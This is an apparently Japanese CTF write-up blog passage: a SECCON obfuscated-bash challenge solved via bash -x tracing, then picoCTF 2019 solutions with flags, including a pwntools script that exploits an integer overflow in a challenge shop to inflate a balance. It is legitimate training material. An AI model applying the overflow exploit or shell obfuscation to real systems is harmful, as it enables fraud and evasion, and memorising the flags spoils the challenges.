||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} ${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} ${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))};${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} $(${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} -${@:$((____=____^____||++____))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} $_____|${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}|${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____)))):$((____=____^____||++____))} -${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}" " -${@:$((____=(____^____||++____)+(____^____||++____)))$((____=____^____||++____)):$((____=____^____||++____))}$((____=____^____||++____)))|${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))-$((____=____^____||++____)))):$((____=____^____||++____))}${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=____^____||++____)):$((____=____^____||++____))} -${@:$((____=____^____||++____))$(($((____=____^____||++____))-$((____=____^____||++____)))):$((____=____^____||++____))} "${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))$(($((____=____^____||++____))-$((____=____^____||++____))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))-$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$((____=____^____||++____))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))"&&${@:$((____=(____^____||++____)+(____^____||++____)))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))}${@:$((____=____^____||++____))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))} "${@:$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____))))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=____^____||++____))+$((____=(____^____||++____)+(____^____||++____))))):$((____=____^____||++____))} ${@:$(($((____=(____^____||++____)+(____^____||++____)))+$((____=(____^____||++____)+(____^____||++____)))))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}${@:$((____=____^____||++____))$((____=(____^____||++____)+(____^____||++____))):$((____=____^____||++____))}${@:$((____=(____^____||++____)+(____^____||++____)))$(($((____=(____^____||++____)+(____^____||++____)))*$((____=(____^____||++____)+(____^____||++____)))+$((____=____^____||++____)))):$((____=____^____||++____))}!"&&printf "\n\033[?7l%1024s" " "&&echo SECCON{$S1$n$_____};echo -e '\033[?7h';

最後のほうを確認すると、フラグを表示する処理が確認できます。

<難読化された文字列>&&printf "\n\033[?7l%1024s" " "&&echo SECCON{$S1$n$_____};echo -e '\033[?7h';

$S1$n$_____ に何が格納されているのかが分かれば、フラグが何なのか分かりそうです。 とりあえず、デバッグモードで実行してみます。

bash -x ./Beeeeeeeeeer_5.sh
++ .
+ __='./Beeeeeeeeeer_5.sh: line 1: .: filename argument required
.: usage: . filename [arguments]'
+ __=' filename [arguments]'
++ .
+ __='./Beeeeeeeeeer_5.sh: line 1: .: filename argument required
.: usage: . filename [arguments]'
+ __=' filename [arguments]'
+ set -- z y x w v u t s r q p o n m l k j i h g f e d c b a '`' _ '^' ']' '' '[' Z Y X W V U T S R Q P O N M L K J I H G F E D C B A
+ echo 'Enter the password'
Enter the password
+ read _____
hoge
+ : password is bash
+ grep -q d574d4bb40c84861791a694a999cce69
++ cut '-d ' -f1
++ md5sum
++ echo -n hoge
+ echo ea703e7aa1efda0064eaa507d9e8ab7e
+ echo -e '\033[?7h'

実行すると、Enter the password と表示されます。 適当にhogeと入力してみましたが、フラグ表示処理に遷移しません。 入力値のMD5ハッシュを取って、パスワードが正しいかどうか判定しているようです。

実行結果をよく見てみると、: password is bash と書かれています。 パスワードにbashを指定すると、フラグ表示処理に遷移しました。

$ bash -x Beeeeeeeeeer_5.sh
++ .
+ __='Beeeeeeeeeer_5.sh: line 1: .: filename argument required
.: usage: . filename [arguments]'
+ __=' filename [arguments]'
++ .
+ __='Beeeeeeeeeer_5.sh: line 1: .: filename argument required
.: usage: . filename [arguments]'
+ __=' filename [arguments]'
+ set -- z y x w v u t s r q p o n m l k j i h g f e d c b a '`' _ '^' ']' '' '[' Z Y X W V U T S R Q P O N M L K J I H G F E D C B A
+ echo 'Enter the password'
Enter the password
+ read _____
bash
+ : password is bash
+ grep -q d574d4bb40c84861791a694a999cce69
++ cut '-d ' -f1
++ md5sum
++ echo -n bash
+ echo d574d4bb40c84861791a694a999cce69
+ echo 'Good Job!'
Good Job!
+ printf '\n\033[?7l%1024s' ' '

                                                                                                                                                                                                                              '
SECCON{bash}
+ echo -e '\033[?7h'

$S1$nを指定せずに実行しているので、SECCON{bash} と表示されています。 過去の実行結果を見直してみると、$S1hogefuga$n3となっています。 よって、SECCON{hogefuga3bash} が正しいフラグとなります。

FLAG

SECCON{hogefuga3bash}

picoCTF 2019 Writeup

picoCTF 2019 について

picoCTF 2019が開催されました。
2019年9月28日午前2時~2019年10月12日午前2時(2週間)

picoctf.com

picoCTFは、中高生向けのCTF大会だそうです。中高生対象ということもあり、難易度低めのCTFになります。 ただし、問題数が異様に多く、100問以上出題されます。 問題を解いていくと、新たな問題がどんどん追加されていくシステムのようです。

難易度が低めのCTFということで、今回は1人で参加しました。 結果は、135/15817位で26201点でした。 今回、101問解きましたが、まだ解けていない問題が10問程度あります。Pwn系があまり解けていないので、まだ未公開となっている問題もありそうです。

f:id:tsalvia:20191012042144p:plain

f:id:tsalvia:20191012141627p:plain

picoCTFは、ちゃんと段階を踏みながら徐々に難しい問題に挑戦していけるので、CTFに慣れていない方が参加すると勉強になりそうだなと感じました。 私も、まだPwn系があまり解けないので、他の方のWriteupを見て復習したいと思います。 picoCTFは、競技終了後も1年間サーバが維持されるそうなので、まだ参加されていない方はぜひ解いてみてください。

picoCTF 2019 Writeup(101問)

今回は、問題数が多いので雑に解説をしていきます。

General Skills

The Factory's Secret - Points: 1

There appear to be some mysterious glyphs hidden inside this abandoned factory... I wonder what would happen if you collected them all?

各部屋にQRコードの断片のようなアイテムが散らばっています。それらをすべて集めると、1つのQRコードが表示されました。

f:id:tsalvia:20191005150521p:plain

QRコードを読み取ると、 password: xmfv53uqkf621gakvh502gxfu1g78glds と出てきました。

最初の部屋のPCにパスワードを入れると、2人の会話ログのようなものが表示されました。

f:id:tsalvia:20191005150432p:plain

会話を読んでみると、「zerozerozerozeroはどう?いいね。」と言っている会話が確認できます。 試しに picoCTF{zerozerozerozero} でフラグを投入してみると、正解になりました。

picoCTF{zerozerozerozero}

2Warm - Points: 50

Can you convert the number 42 (base 10) to binary (base 2)?

10進数の42を2進数に変換すると、101010となります。

picoCTF{101010}

Lets Warm Up - Points: 50

If I told you a word started with 0x70 in hexadecimal, what would it start with in ASCII?

0x70をアスキーコードに変換すると、pとなります。

picoCTF{p}

Warmed Up - Points: 50

What is 0x3D (base 16) in decimal (base 10).

0x3Dを10進数に変換すると、61になります。

picoCTF{61}

Bases - Points: 100

What does this bDNhcm5fdGgzX3IwcDM1 mean? I think it has something to do with bases.

Base64デコードすると、フラグが取得できました。

picoCTF{l3arn_th3_r0p35}

First Grep - Points: 100

Can you find the flag in file? This would be really tedious to look through manually, something tells me there is a better way. You can also find the file in /problems/first-grep_6_c2319e8af66fa6bec197edc733dd52dd on the shell server.

ファイルを開いて、picoCTFで検索するとフラグが書いてありました。

picoCTF{grep_is_good_to_find_things_cdb327ab}

Resources - Points: 100

We put together a bunch of resources to help you out on our website! If you go over there, you might even find a flag! https://picoctf.com/resources (link)

https://picoctf.com/resources にアクセスすると、フラグが書かれていました。

picoCTF{r3source_pag3_f1ag}

strings it - Points: 100

Can you find the flag in file without running it? You can also find the file in /problems/strings-it_3_8386a6aa560aecfba03c0c6a550b5c51 on the shell server.

タイトル通りstringsをすると、フラグが確認できました。

$ cd /problems/strings-it_3_8386a6aa560aecfba03c0c6a550b5c51
$ ls
strings
$ strings ./strings | grep picoCTF
picoCTF{5tRIng5_1T_c7fff9e5}

picoCTF{5tRIng5_1T_c7fff9e5}

what's a net cat? - Points: 100

Using netcat (nc) is going to be pretty important. Can you connect to 2019shell1.picoctf.com at port 4158 to get the flag?

netcat で 2019shell1.picoctf.com:4158 に接続すると、フラグが表示されました。

$ nc 2019shell1.picoctf.com 4158
You're on your way to becoming the net cat master
picoCTF{nEtCat_Mast3ry_700da9c7}

picoCTF{nEtCat_Mast3ry_700da9c7}

Based - Points: 200

To get truly 1337, you must understand different data encodings, such as hexadecimal or binary. Can you get the flag from this program to prove you are on the way to becoming 1337? Connect with nc 2019shell1.picoctf.com 31615.

netcat で 2019shell1.picoctf.com:31615 に接続する以下の3つの問題が表示されました。

  1. ある単語の文字を2進数に変換した値
  2. ある単語の文字を8進数に変換した値
  3. ある単語の文字を16進数に変換した値

それぞれを変換して、自動で入力させるスクリプトを作成しました。

from pwn import *

def convert(enc_word, base):
    dec_word = ""
    for chr_bin in enc_word:
        dec_word += chr(int(chr_bin, base))
    return dec_word

def solve_base_2(p):
    p.readuntil("Please give the ")
    enc_word = p.readuntil(" as").decode("utf-8").split(" ")[:-1]
    log.info("enc_word: {}".format(enc_word))

    dec_word = convert(enc_word, 2)
    
    log.info("dec_word: {}".format(dec_word))
    p.sendlineafter("Input:", dec_word)

def solve_base_8(p):
    p.readuntil("Please give me the  ")
    enc_word = p.readuntil(" as").decode("utf-8").split(" ")[:-1]
    log.info("enc_word: {}".format(enc_word))

    dec_word = convert(enc_word, 8)
    
    log.info("dec_word: {}".format(dec_word))
    p.sendlineafter("Input:", dec_word)

def solve_base_16(p):
    p.readuntil("Please give me the ")
    s = p.readuntil(" as").decode("utf-8").split(" ")[0]
    enc_word = [s[i: i+2] for i in range(0, len(s), 2)]
    log.info("enc_word: {}".format(enc_word))

    dec_word = convert(enc_word, 16)
    
    log.info("dec_word: {}".format(dec_word))
    p.sendlineafter("Input:", dec_word)

def main():
    context(arch="i386", os="linux")

    p = remote("2019shell1.picoctf.com", 31615)

    solve_base_2(p)
    solve_base_8(p)
    solve_base_16(p)
    p.interactive()

if __name__ == "__main__":
    main()

実行すると、フラグを取得することができました。

$ python solve.py 
[+] Opening connection to 2019shell1.picoctf.com on port 31615: Done
[*] enc_word: ['01101100', '01101001', '01101101', '01100101']
[*] dec_word: lime
[*] enc_word: ['164', '145', '163', '164']
[*] dec_word: test
[*] enc_word: ['74', '61', '62', '6c', '65']
[*] dec_word: table
[*] Switching to interactive mode

You've beaten the challenge
Flag: picoCTF{learning_about_converting_values_502ff297}

picoCTF{learning_about_converting_values_502ff297}

First Grep: Part II - Points: 200

Can you find the flag in /problems/first-grep--part-ii_3_b4bf3244c2886de1566a28c1b5a465ae/files on the shell server? Remember to use grep.

指定されたディレクトリに移動すると、大量のディレクトリとファイルが用意されていました。

$ cd /problems/first-grep--part-ii_3_b4bf3244c2886de1566a28c1b5a465ae/files
$ ls -la
total 52
drwxr-xr-x 13 root root 4096 Sep 28 22:01 .
drwxr-xr-x  3 root root 4096 Sep 28 22:01 ..
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files0
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files1
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files10
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files2
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files3
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files4
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files5
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files6
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files7
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files8
drwxr-xr-x  2 root root 4096 Sep 28 22:01 files9
$ ls -la files0/
total 232
drwxr-xr-x  2 root       root       4096 Sep 28 22:01 .
drwxr-xr-x 13 root       root       4096 Sep 28 22:01 ..
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file0
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file1
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file10
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file11
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file12
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file13
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file14
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file15
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file16
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file17
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file18
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file19
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file2
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file20
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file21
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file22
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file23
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file24
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file25
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file26
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file27
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file3
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file4
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file5
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file6
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file7
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file8
-rw-rw-r--  1 hacksports hacksports 7639 Sep 28 21:59 file9

findコマンドでファイルを指定し、grepでpicoCTFという文字列を抽出すると、フラグを取得することができました。

$ find . -name "file*" -type f | xargs grep picoCTF
./files2/file5:picoCTF{grep_r_to_find_this_3675d798}

picoCTF{grep_r_to_find_this_3675d798}

plumbing - Points: 200

Sometimes you need to handle process data outside of a file. Can you find a way to keep the output from this program and search for the flag? Connect to 2019shell1.picoctf.com 63345.

netcat で 2019shell1.picoctf.com:63345 に接続すると、大量の文字が表示されました。 パイプラインで繋いで、grepするとフラグが表示されました。

$ nc 2019shell1.picoctf.com 63345 | grep picoCTF
picoCTF{digital_plumb3r_4e7a5813}

picoCTF{digital_plumb3r_4e7a5813}

whats-the-difference - Points: 200

Can you spot the difference? kitters cattos. They are also available at /problems/whats-the-difference_0_00862749a2aeb45993f36cc9cf98a47a on the shell server

以下のようなコマンドでdiffを取ってみると、差分になっている文字列がフラグとなっていました。 1とlの違いが分かりにくいので注意する。

$ hexdump -C kitters.jpg > kitters.txt
$ hexdump -C cattos.jpg > cattos.txt
$ colordiff kitters.txt cattos.txt | grep -v "\-\-\-"

picoCTF{th3yr3_a5_d1ff3r3nt_4s_bu773r_4nd_j311y_aslkjfdsalkfslkflkjdsfdszmz10548}

where-is-the-file - Points: 200

I've used a super secret mind trick to hide this file. Maybe something lies in /problems/where-is-the-file_3_19c1a7766ac2747c446eb9666a9b4fb4.

指定されたディレクトリに移動すると、隠しファイルが用意されていました。

$ cd /problems/where-is-the-file_3_19c1a7766ac2747c446eb9666a9b4fb4
$ ls -la
total 80
drwxr-xr-x   2 root       root        4096 Sep 28 22:05 .
drwxr-x--x 684 root       root       69632 Sep 30 22:25 ..
-rw-rw-r--   1 hacksports hacksports    39 Sep 28 22:05 .cant_see_me
$ cat .cant_see_me
picoCTF{w3ll_that_d1dnt_w0RK_f28cde66}

picoCTF{w3ll_that_d1dnt_w0RK_f28cde66}

flag_shop - Points: 300

There's a flag shop selling stuff, can you buy a flag? Source. Connect with nc 2019shell1.picoctf.com 25858.

netcatで2019shell1.picoctf.com:25858 に接続すると、ショップが出てきます。 フラグを買うには、100000円必要なようです。 何か買うときに整数オーバフローさせると、自分の所持金を増やすことができます。

以下のスクリプトを実行すると、フラグが取得できます。

from pwn import *

def main():
    p = remote("2019shell1.picoctf.com", 25858)

    balance = 1100
    while balance < 100000:
        p.sendlineafter("Enter a menu selection", str(2))
        p.sendlineafter("2. 1337 Flag", str(1))
        p.sendlineafter("These knockoff Flags cost 900 each, enter desired quantity", str(0x7fffffff))

        p.readuntil("Your current balance after transaction: ")
        read_data = p.readuntil("\n").decode("utf-8").strip()
        balance = int(read_data)

        log.info("balance: {}".format(balance))

    p.sendlineafter("Enter a menu selection", str(2))
    p.sendlineafter("2. 1337 Flag", str(2))
    p.sendlineafter("Enter 1 to buy one", str(1))

    p.interactive()

if __name__ == "__main__":
    main()
$ python solve.py 
[+] Opening connection to 2019shell1.picoctf.com on port 25858: Done
[*] balance: 2000
[*] balance: 2900

省略
[*] balance: 99200
[*] balance: 100100
[*] Switching to interactive mode
YOUR FLAG IS: picoCTF{m0n3y_bag5_325fcd2e}
Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
[*] Got EOF while reading in interactive

picoCTF{m0n3y_bag5_325fcd2e}

mus1c - Points: 300

I wrote you a song. Put it in the picoCTF{} flag format

色々調べていると、Rockstar言語と呼ばれるプログラミング言語があるらしいということを知りました。 今回は、KaiserRubyというツールを使って実行させました。

github.com

$ gem install kaiser-ruby pry
$ kaiser-ruby execute lyrics.txt 
114
114
114
111
99
107
110
114
110
48
49
49
51
114

上記の実行結果の数値を10進数として文字に変換すると、rrrocknrn0113r となりました。

picoCTF{rrrocknrn0113r}

1_wanna_b3_a_r0ck5tar - Points: 350

I wrote you another song. Put the flag in the picoCTF{} flag format

mus1cという問題と同様にRockstar言語と呼ばれるプログラミング言語で書かれているようです。 今回も、KaiserRubyというツールを使いました。

github.com

実行はできなかったので、rubyへの変換を行いました。

$ kaiser-ruby transpile lyrics.txt
@rocknroll = true
@silence = false
@a_guitar = 19
@tommy = 44
@music = 160
print '> '
__input = $stdin.gets.chomp
@the_music = Float(__input) rescue __input
if @the_music == @a_guitar
  puts ("Keep on rocking!").to_s
  print '> '
__input = $stdin.gets.chomp
@the_rhythm = Float(__input) rescue __input
  if @the_rhythm - @music == nil
    @tommy = 66
    puts (@tommy).to_s
    @music = 79
    @jamming = 78
    puts (@music).to_s
    puts (@jamming).to_s
    @tommy = 74
    puts (@tommy).to_s
    @tommy = 79
    puts (@tommy).to_s
    @rock = 86
    puts (@rock).to_s
    @tommy = 73
    puts (@tommy).to_s
    break
    puts ("Bring on the rock!").to_s
  else
    break
  end
end

putsで1文字ずつ出力している処理があります。 66 79 78 74 79 86 73 を文字に変換すると、BONJOVI になります。

picoCTF{BONJOVI}

Forensics

Glory of the Garden - Points: 50

This garden contains more than it seems. You can also find the file in /problems/glory-of-the-garden_0_25ece79ae00914856938a4b19d0e31af on the shell server.

画像をダウンロードし、stringsを使って文字列を抽出すると、フラグが出てきました。

picoCTF{more_than_m33ts_the_3y3f089EdF0}

unzip - Points: 50

Can you unzip this file and get the flag?

zipファイルを展開すると、フラグの画像が表示されました。

picoCTF{unz1pp1ng_1s_3a5y}

So Meta - Points: 150

Find the flag in this picture. You can also find the file in /problems/so-meta_1_ab9d99603935344b81d7f07973e70155.

画像をダウンロードし、stringsを使って文字列を抽出すると、フラグが出てきました。

picoCTF{s0_m3ta_368a0341}

What Lies Within - Points: 150

Theres something in the building. Can you retrieve the flag?

zstegというツールを使うと、フラグが取得できました。

github.com

$ zsteg -a buildings.png
b1,r,lsb,xy         .. text: "^5>R5YZrG"
b1,rgb,lsb,xy       .. text: "picoCTF{h1d1ng_1n_th3_b1t5}"
b1,abgr,msb,xy      .. file: PGP\011Secret Sub-key -
b2,b,lsb,xy         .. text: "XuH}p#8Iy="
b3,abgr,msb,xy      .. text: "t@Wp-_tH_v\r"zsteg -a 
省略

picoCTF{h1d1ng_1n_th3_b1t5}

extensions - Points: 150

This is a really weird text file TXT? Can you find the flag?

fileコマンドで形式を確認すると、PNG形式になっていました。 拡張子をpngに変換して、画像として表示するとフラグが確認できました。

$ file flag.txt
flag.txt: PNG image data, 1697 x 608, 8-bit/color RGB, non-interlaced
$ mv flag.txt flag.png

picoCTF{now_you_know_about_extensions}

shark on wire 1 - Points: 150

We found this packet capture. Recover the flag. You can also find the file in /problems/shark-on-wire-1_0_13d709ec13952807e477ba1b5404e620.

以下の手順でフラグが確認できました。

  1. 統計→対話→IPv4タブを選択する。
  2. 一番上の「10.0.0.2⇔10.0.0.12」を右クリックする。
  3. フィルタとして適用→選択済み→A⇔Bを選択する。
  4. 適当なパケットを右クリックする。
